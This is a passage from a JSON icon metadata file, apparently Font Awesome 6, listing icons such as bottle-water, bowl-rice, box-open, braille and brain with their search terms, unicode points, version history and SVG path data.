268-9.884,17.735-9.884a65.56,65.56,0,0,1,34.484,10.1,8.171,8.171,0,0,0,11.288-2.468c.07-.11.138-.221.2-.333l8.611-14.886a8.2,8.2,0,0,0-2.867-11.123,99.863,99.863,0,0,0-52.014-14.138c-38.956,0-60.179,21.514-60.179,46.225,0,36.342,33.725,41.864,57.563,45.642,13.373,2.326,24.13,4.361,24.13,11.048,0,6.4-5.523,10.757-18.9,10.757-13.552,0-30.994-6.222-42.623-13.579a8.206,8.206,0,0,0-11.335,2.491c-.035.054-.069.108-.1.164l-10.2,16.891a8.222,8.222,0,0,0,2.491,11.066c15.224,10.3,37.663,16.692,59.441,16.692,40.409,0,63.957-19.769,63.957-46.515C640,260.63,604.537,254.816,580.7,250.455Zm-95.928,60.787a8.211,8.211,0,0,0-9.521-5.938,23.168,23.168,0,0,1-4.155.387c-7.849,0-12.5-6.106-12.5-14.245V240.28h20.349a8.143,8.143,0,0,0,8.141-8.143V209.466a8.143,8.143,0,0,0-8.141-8.143H458.594V171.091a8.143,8.143,0,0,0-8.143-8.143H422.257a8.143,8.143,0,0,0-8.143,8.143h0v30.232H399a8.143,8.143,0,0,0-8.143,8.143h0v22.671A8.143,8.143,0,0,0,399,240.28h15.115v63.667c0,27.037,15.408,41.282,43.9,41.282,12.183,0,21.383-2.2,27.6-5.446a8.161,8.161,0,0,0,4.145-9.278Z"
      }
    },
    "free": ["brands"]
  },
  "bottle-droplet": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["alcohol", "drink", "oil", "olive oil", "wine"]
    },
    "styles": ["solid"],
    "unicode": "e4c4",
    "label": "Bottle Droplet",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767418,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M96 0C82.7 0 72 10.7 72 24s10.7 24 24 24c4.4 0 8 3.6 8 8v64.9c0 12.2-7.2 23.1-17.2 30.1C53.7 174.1 32 212.5 32 256V448c0 35.3 28.7 64 64 64H224c35.3 0 64-28.7 64-64V256c0-43.5-21.7-81.9-54.8-105c-10-7-17.2-17.9-17.2-30.1V56c0-4.4 3.6-8 8-8c13.3 0 24-10.7 24-24s-10.7-24-24-24l-8 0 0 0 0 0H104l0 0 0 0L96 0zm64 382c-26.5 0-48-20.1-48-45c0-16.8 22.1-48.1 36.3-66.4c6-7.8 17.5-7.8 23.5 0C185.9 288.9 208 320.2 208 337c0 24.9-21.5 45-48 45z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M96 0C82.7 0 72 10.7 72 24s10.7 24 24 24c4.4 0 8 3.6 8 8v64.9c0 12.2-7.2 23.1-17.2 30.1C53.7 174.1 32 212.5 32 256V448c0 35.3 28.7 64 64 64H224c35.3 0 64-28.7 64-64V256c0-43.5-21.7-81.9-54.8-105c-10-7-17.2-17.9-17.2-30.1V56c0-4.4 3.6-8 8-8c13.3 0 24-10.7 24-24s-10.7-24-24-24l-8 0 0 0 0 0H104l0 0 0 0L96 0zm64 382c-26.5 0-48-20.1-48-45c0-16.8 22.1-48.1 36.3-66.4c6-7.8 17.5-7.8 23.5 0C185.9 288.9 208 320.2 208 337c0 24.9-21.5 45-48 45z"
      }
    },
    "free": ["solid"]
  },
  "bottle-water": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["h2o", "plastic", "water"]
    },
    "styles": ["solid"],
    "unicode": "e4c5",
    "label": "Bottle Water",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M120 0h80c13.3 0 24 10.7 24 24V64H96V24c0-13.3 10.7-24 24-24zM32 151.7c0-15.6 9-29.8 23.2-36.5l24.4-11.4c11-5.1 23-7.8 35.1-7.8h90.6c12.1 0 24.1 2.7 35.1 7.8l24.4 11.4c14.1 6.6 23.2 20.8 23.2 36.5c0 14.4-7.5 27-18.9 34.1c11.5 8.8 18.9 22.6 18.9 38.2c0 16.7-8.5 31.4-21.5 40c12.9 8.6 21.5 23.3 21.5 40s-8.5 31.4-21.5 40c12.9 8.6 21.5 23.3 21.5 40s-8.5 31.4-21.5 40c12.9 8.6 21.5 23.3 21.5 40c0 26.5-21.5 48-48 48H80c-26.5 0-48-21.5-48-48c0-16.7 8.5-31.4 21.5-40C40.5 415.4 32 400.7 32 384s8.5-31.4 21.5-40C40.5 335.4 32 320.7 32 304s8.5-31.4 21.5-40C40.5 255.4 32 240.7 32 224c0-15.6 7.4-29.4 18.9-38.2C39.5 178.7 32 166.1 32 151.7zM96 240c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16s-7.2-16-16-16H112c-8.8 0-16 7.2-16 16zm16 112c-8.8 0-16 7.2-16 16s7.2 16 16 16h96c8.8 0 16-7.2 16-16s-7.2-16-16-16H112z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M120 0h80c13.3 0 24 10.7 24 24V64H96V24c0-13.3 10.7-24 24-24zM32 151.7c0-15.6 9-29.8 23.2-36.5l24.4-11.4c11-5.1 23-7.8 35.1-7.8h90.6c12.1 0 24.1 2.7 35.1 7.8l24.4 11.4c14.1 6.6 23.2 20.8 23.2 36.5c0 14.4-7.5 27-18.9 34.1c11.5 8.8 18.9 22.6 18.9 38.2c0 16.7-8.5 31.4-21.5 40c12.9 8.6 21.5 23.3 21.5 40s-8.5 31.4-21.5 40c12.9 8.6 21.5 23.3 21.5 40s-8.5 31.4-21.5 40c12.9 8.6 21.5 23.3 21.5 40c0 26.5-21.5 48-48 48H80c-26.5 0-48-21.5-48-48c0-16.7 8.5-31.4 21.5-40C40.5 415.4 32 400.7 32 384s8.5-31.4 21.5-40C40.5 335.4 32 320.7 32 304s8.5-31.4 21.5-40C40.5 255.4 32 240.7 32 224c0-15.6 7.4-29.4 18.9-38.2C39.5 178.7 32 166.1 32 151.7zM96 240c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16s-7.2-16-16-16H112c-8.8 0-16 7.2-16 16zm16 112c-8.8 0-16 7.2-16 16s7.2 16 16 16h96c8.8 0 16-7.2 16-16s-7.2-16-16-16H112z"
      }
    },
    "free": ["solid"]
  },
  "bowl-food": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["catfood", "dogfood", "food", "rice"]
    },
    "styles": ["solid"],
    "unicode": "e4c6",
    "label": "Bowl Food",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 192c0-35.3 28.7-64 64-64c.5 0 1.1 0 1.6 0C73 91.5 105.3 64 144 64c15 0 29 4.1 40.9 11.2C198.2 49.6 225.1 32 256 32s57.8 17.6 71.1 43.2C339 68.1 353 64 368 64c38.7 0 71 27.5 78.4 64c.5 0 1.1 0 1.6 0c35.3 0 64 28.7 64 64c0 11.7-3.1 22.6-8.6 32H8.6C3.1 214.6 0 203.7 0 192zm0 91.4C0 268.3 12.3 256 27.4 256H484.6c15.1 0 27.4 12.3 27.4 27.4c0 70.5-44.4 130.7-106.7 154.1L403.5 452c-2 16-15.6 28-31.8 28H140.2c-16.1 0-29.8-12-31.8-28l-1.8-14.4C44.4 414.1 0 353.9 0 283.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 192c0-35.3 28.7-64 64-64c.5 0 1.1 0 1.6 0C73 91.5 105.3 64 144 64c15 0 29 4.1 40.9 11.2C198.2 49.6 225.1 32 256 32s57.8 17.6 71.1 43.2C339 68.1 353 64 368 64c38.7 0 71 27.5 78.4 64c.5 0 1.1 0 1.6 0c35.3 0 64 28.7 64 64c0 11.7-3.1 22.6-8.6 32H8.6C3.1 214.6 0 203.7 0 192zm0 91.4C0 268.3 12.3 256 27.4 256H484.6c15.1 0 27.4 12.3 27.4 27.4c0 70.5-44.4 130.7-106.7 154.1L403.5 452c-2 16-15.6 28-31.8 28H140.2c-16.1 0-29.8-12-31.8-28l-1.8-14.4C44.4 414.1 0 353.9 0 283.4z"
      }
    },
    "free": ["solid"]
  },
  "bowl-rice": {
    "changes": ["6.0.0-beta1", "6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["boiled", "cooked", "cooked rice", "rice", "steamed"]
    },
    "styles": ["solid"],
    "unicode": "e2eb",
    "label": "Bowl Rice",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M176 56c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H200c-13.3 0-24-10.7-24-24zm24 48h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H200c-13.3 0-24-10.7-24-24s10.7-24 24-24zM56 176H72c13.3 0 24 10.7 24 24s-10.7 24-24 24H56c-13.3 0-24-10.7-24-24s10.7-24 24-24zM0 283.4C0 268.3 12.3 256 27.4 256H484.6c15.1 0 27.4 12.3 27.4 27.4c0 70.5-44.4 130.7-106.7 154.1L403.5 452c-2 16-15.6 28-31.8 28H140.2c-16.1 0-29.8-12-31.8-28l-1.8-14.4C44.4 414.1 0 353.9 0 283.4zM224 200c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H248c-13.3 0-24-10.7-24-24zm-96 0c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H152c-13.3 0-24-10.7-24-24zm-24-96h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H104c-13.3 0-24-10.7-24-24s10.7-24 24-24zm216 96c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H344c-13.3 0-24-10.7-24-24zm-24-96h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H296c-13.3 0-24-10.7-24-24s10.7-24 24-24zm120 96c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H440c-13.3 0-24-10.7-24-24zm-24-96h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H392c-13.3 0-24-10.7-24-24s10.7-24 24-24zM296 32h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H296c-13.3 0-24-10.7-24-24s10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M176 56c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H200c-13.3 0-24-10.7-24-24zm24 48h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H200c-13.3 0-24-10.7-24-24s10.7-24 24-24zM56 176H72c13.3 0 24 10.7 24 24s-10.7 24-24 24H56c-13.3 0-24-10.7-24-24s10.7-24 24-24zM0 283.4C0 268.3 12.3 256 27.4 256H484.6c15.1 0 27.4 12.3 27.4 27.4c0 70.5-44.4 130.7-106.7 154.1L403.5 452c-2 16-15.6 28-31.8 28H140.2c-16.1 0-29.8-12-31.8-28l-1.8-14.4C44.4 414.1 0 353.9 0 283.4zM224 200c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H248c-13.3 0-24-10.7-24-24zm-96 0c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H152c-13.3 0-24-10.7-24-24zm-24-96h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H104c-13.3 0-24-10.7-24-24s10.7-24 24-24zm216 96c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H344c-13.3 0-24-10.7-24-24zm-24-96h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H296c-13.3 0-24-10.7-24-24s10.7-24 24-24zm120 96c0-13.3 10.7-24 24-24h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H440c-13.3 0-24-10.7-24-24zm-24-96h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H392c-13.3 0-24-10.7-24-24s10.7-24 24-24zM296 32h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H296c-13.3 0-24-10.7-24-24s10.7-24 24-24z"
      }
    },
    "free": ["solid"]
  },
  "bowling-ball": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f436"]
      }
    },
    "changes": [
      "5.0.5",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["alley", "candlepin", "gutter", "lane", "strike", "tenpin"]
    },
    "styles": ["solid"],
    "unicode": "f436",
    "label": "Bowling Ball",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM240 80a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM208 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm-64-64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM240 80a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM208 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm-64-64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "box": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4e6"],
        "secondary": ["10f466"]
      }
    },
    "changes": [
      "5.0.7",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["archive", "box", "container", "package", "parcel", "storage"]
    },
    "styles": ["solid"],
    "unicode": "f466",
    "label": "Box",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M50.7 58.5L0 160H208V32H93.7C75.5 32 58.9 42.3 50.7 58.5zM240 160H448L397.3 58.5C389.1 42.3 372.5 32 354.3 32H240V160zm208 32H0V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V192z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M50.7 58.5L0 160H208V32H93.7C75.5 32 58.9 42.3 50.7 58.5zM240 160H448L397.3 58.5C389.1 42.3 372.5 32 354.3 32H240V160zm208 32H0V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V192z"
      }
    },
    "free": ["solid"]
  },
  "box-archive": {
    "aliases": {
      "names": ["archive"],
      "unicodes": {
        "secondary": ["10f187"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.0.9",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["box", "package", "save", "storage"]
    },
    "styles": ["solid"],
    "unicode": "f187",
    "label": "Box Archive",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 32H480c17.7 0 32 14.3 32 32V96c0 17.7-14.3 32-32 32H32C14.3 128 0 113.7 0 96V64C0 46.3 14.3 32 32 32zm0 128H480V416c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V160zm128 80c0 8.8 7.2 16 16 16H336c8.8 0 16-7.2 16-16s-7.2-16-16-16H176c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 32H480c17.7 0 32 14.3 32 32V96c0 17.7-14.3 32-32 32H32C14.3 128 0 113.7 0 96V64C0 46.3 14.3 32 32 32zm0 128H480V416c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V160zm128 80c0 8.8 7.2 16 16 16H336c8.8 0 16-7.2 16-16s-7.2-16-16-16H176c-8.8 0-16 7.2-16 16z"
      }
    },
    "free": ["solid"]
  },
  "box-open": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f49e"]
      }
    },
    "changes": [
      "5.0.9",
      "5.7.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["archive", "container", "package", "storage", "unpack"]
    },
    "styles": ["solid"],
    "unicode": "f49e",
    "label": "Box Open",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M58.9 42.1c3-6.1 9.6-9.6 16.3-8.7L320 64 564.8 33.4c6.7-.8 13.3 2.7 16.3 8.7l41.7 83.4c9 17.9-.6 39.6-19.8 45.1L439.6 217.3c-13.9 4-28.8-1.9-36.2-14.3L320 64 236.6 203c-7.4 12.4-22.3 18.3-36.2 14.3L37.1 170.6c-19.3-5.5-28.8-27.2-19.8-45.1L58.9 42.1zM321.1 128l54.9 91.4c14.9 24.8 44.6 36.6 72.5 28.6L576 211.6v167c0 22-15 41.2-36.4 46.6l-204.1 51c-10.2 2.6-20.9 2.6-31 0l-204.1-51C79 419.7 64 400.5 64 378.5v-167L191.6 248c27.8 8 57.6-3.8 72.5-28.6L318.9 128h2.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M58.9 42.1c3-6.1 9.6-9.6 16.3-8.7L320 64 564.8 33.4c6.7-.8 13.3 2.7 16.3 8.7l41.7 83.4c9 17.9-.6 39.6-19.8 45.1L439.6 217.3c-13.9 4-28.8-1.9-36.2-14.3L320 64 236.6 203c-7.4 12.4-22.3 18.3-36.2 14.3L37.1 170.6c-19.3-5.5-28.8-27.2-19.8-45.1L58.9 42.1zM321.1 128l54.9 91.4c14.9 24.8 44.6 36.6 72.5 28.6L576 211.6v167c0 22-15 41.2-36.4 46.6l-204.1 51c-10.2 2.6-20.9 2.6-31 0l-204.1-51C79 419.7 64 400.5 64 378.5v-167L191.6 248c27.8 8 57.6-3.8 72.5-28.6L318.9 128h2.2z"
      }
    },
    "free": ["solid"]
  },
  "box-tissue": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e05b"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cough",
        "covid-19",
        "kleenex",
        "mucus",
        "nose",
        "sneeze",
        "snot"
      ]
    },
    "styles": ["solid"],
    "unicode": "e05b",
    "label": "Box Tissue",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767444,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M92.5 0H208c40 0 52 24 64 48s24 48 64 48h85.2C436 96 448 108 448 122.8c0 3.4-.7 6.8-1.9 10L409.6 224 384 288H128l-16-64L64.9 35.4c-.6-2.3-.9-4.6-.9-6.9C64 12.8 76.8 0 92.5 0zM79 224l16 64H80c-8.8 0-16 7.2-16 16s7.2 16 16 16h48H384h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H418.5l25.6-64H464c26.5 0 48 21.5 48 48V384H0V272c0-26.5 21.5-48 48-48H79zM0 416H512v48c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V416z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M92.5 0H208c40 0 52 24 64 48s24 48 64 48h85.2C436 96 448 108 448 122.8c0 3.4-.7 6.8-1.9 10L409.6 224 384 288H128l-16-64L64.9 35.4c-.6-2.3-.9-4.6-.9-6.9C64 12.8 76.8 0 92.5 0zM79 224l16 64H80c-8.8 0-16 7.2-16 16s7.2 16 16 16h48H384h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H418.5l25.6-64H464c26.5 0 48 21.5 48 48V384H0V272c0-26.5 21.5-48 48-48H79zM0 416H512v48c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V416z"
      }
    },
    "free": ["solid"]
  },
  "boxes-packing": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["archive", "box", "package", "storage", "supplies"]
    },
    "styles": ["solid"],
    "unicode": "e4c7",
    "label": "Boxes Packing",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M256 48c0-26.5 21.5-48 48-48H592c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H381.3c1.8-5 2.7-10.4 2.7-16V253.3c18.6-6.6 32-24.4 32-45.3V176c0-26.5-21.5-48-48-48H256V48zM571.3 347.3c6.2-6.2 6.2-16.4 0-22.6l-64-64c-6.2-6.2-16.4-6.2-22.6 0l-64 64c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L480 310.6V432c0 8.8 7.2 16 16 16s16-7.2 16-16V310.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0zM0 176c0-8.8 7.2-16 16-16H368c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H16c-8.8 0-16-7.2-16-16V176zm352 80V480c0 17.7-14.3 32-32 32H64c-17.7 0-32-14.3-32-32V256H352zM144 320c-8.8 0-16 7.2-16 16s7.2 16 16 16h96c8.8 0 16-7.2 16-16s-7.2-16-16-16H144z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M256 48c0-26.5 21.5-48 48-48H592c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H381.3c1.8-5 2.7-10.4 2.7-16V253.3c18.6-6.6 32-24.4 32-45.3V176c0-26.5-21.5-48-48-48H256V48zM571.3 347.3c6.2-6.2 6.2-16.4 0-22.6l-64-64c-6.2-6.2-16.4-6.2-22.6 0l-64 64c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L480 310.6V432c0 8.8 7.2 16 16 16s16-7.2 16-16V310.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0zM0 176c0-8.8 7.2-16 16-16H368c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H16c-8.8 0-16-7.2-16-16V176zm352 80V480c0 17.7-14.3 32-32 32H64c-17.7 0-32-14.3-32-32V256H352zM144 320c-8.8 0-16 7.2-16 16s7.2 16 16 16h96c8.8 0 16-7.2 16-16s-7.2-16-16-16H144z"
      }
    },
    "free": ["solid"]
  },
  "boxes-stacked": {
    "aliases": {
      "names": ["boxes", "boxes-alt"],
      "unicodes": {
        "composite": ["f4a1"],
        "primary": ["f4a1"],
        "secondary": ["10f468", "10f4a1"]
      }
    },
    "changes": [
      "5.0.7",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["archives", "inventory", "storage", "warehouse"]
    },
    "styles": ["solid"],
    "unicode": "f468",
    "label": "Boxes Stacked",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M248 0H208c-26.5 0-48 21.5-48 48V160c0 35.3 28.7 64 64 64H352c35.3 0 64-28.7 64-64V48c0-26.5-21.5-48-48-48H328V80c0 8.8-7.2 16-16 16H264c-8.8 0-16-7.2-16-16V0zM64 256c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H224c35.3 0 64-28.7 64-64V320c0-35.3-28.7-64-64-64H184v80c0 8.8-7.2 16-16 16H120c-8.8 0-16-7.2-16-16V256H64zM352 512H512c35.3 0 64-28.7 64-64V320c0-35.3-28.7-64-64-64H472v80c0 8.8-7.2 16-16 16H408c-8.8 0-16-7.2-16-16V256H352c-15 0-28.8 5.1-39.7 13.8c4.9 10.4 7.7 22 7.7 34.2V464c0 12.2-2.8 23.8-7.7 34.2C323.2 506.9 337 512 352 512z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M248 0H208c-26.5 0-48 21.5-48 48V160c0 35.3 28.7 64 64 64H352c35.3 0 64-28.7 64-64V48c0-26.5-21.5-48-48-48H328V80c0 8.8-7.2 16-16 16H264c-8.8 0-16-7.2-16-16V0zM64 256c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H224c35.3 0 64-28.7 64-64V320c0-35.3-28.7-64-64-64H184v80c0 8.8-7.2 16-16 16H120c-8.8 0-16-7.2-16-16V256H64zM352 512H512c35.3 0 64-28.7 64-64V320c0-35.3-28.7-64-64-64H472v80c0 8.8-7.2 16-16 16H408c-8.8 0-16-7.2-16-16V256H352c-15 0-28.8 5.1-39.7 13.8c4.9 10.4 7.7 22 7.7 34.2V464c0 12.2-2.8 23.8-7.7 34.2C323.2 506.9 337 512 352 512z"
      }
    },
    "free": ["solid"]
  },
  "braille": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f2a1"]
      }
    },
    "changes": [
      "4.6.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["alphabet", "blind", "dots", "raised", "vision"]
    },
    "styles": ["solid"],
    "unicode": "f2a1",
    "label": "Braille",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 96a64 64 0 1 1 128 0A64 64 0 1 1 0 96zM224 272a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm0-80a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM80 416a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zM0 416a64 64 0 1 1 128 0A64 64 0 1 1 0 416zm240 0a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm-80 0a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM64 192a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM224 32a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM352 96a64 64 0 1 1 128 0A64 64 0 1 1 352 96zm240 0a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm-80 0a64 64 0 1 1 128 0A64 64 0 1 1 512 96zm64 176a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm0-80a64 64 0 1 1 0 128 64 64 0 1 1 0-128zm16 224a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm-80 0a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM416 272a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm0-80a64 64 0 1 1 0 128 64 64 0 1 1 0-128zm16 224a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm-80 0a64 64 0 1 1 128 0 64 64 0 1 1 -128 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 96a64 64 0 1 1 128 0A64 64 0 1 1 0 96zM224 272a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm0-80a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM80 416a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zM0 416a64 64 0 1 1 128 0A64 64 0 1 1 0 416zm240 0a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm-80 0a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM64 192a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM224 32a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM352 96a64 64 0 1 1 128 0A64 64 0 1 1 352 96zm240 0a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm-80 0a64 64 0 1 1 128 0A64 64 0 1 1 512 96zm64 176a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm0-80a64 64 0 1 1 0 128 64 64 0 1 1 0-128zm16 224a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm-80 0a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM416 272a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm0-80a64 64 0 1 1 0 128 64 64 0 1 1 0-128zm16 224a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm-80 0a64 64 0 1 1 128 0 64 64 0 1 1 -128 0z"
      }
    },
    "free": ["solid"]
  },
  "brain": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9e0"],
        "secondary": ["10f5dc"]
      }
    },
    "changes": [
      "5.2.0",
      "5.9.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "brain",
        "cerebellum",
        "gray matter",
        "intellect",
        "intelligent",
        "medulla oblongata",
        "mind",
        "noodle",
        "wit"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5dc",
    "label": "Brain",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766749,
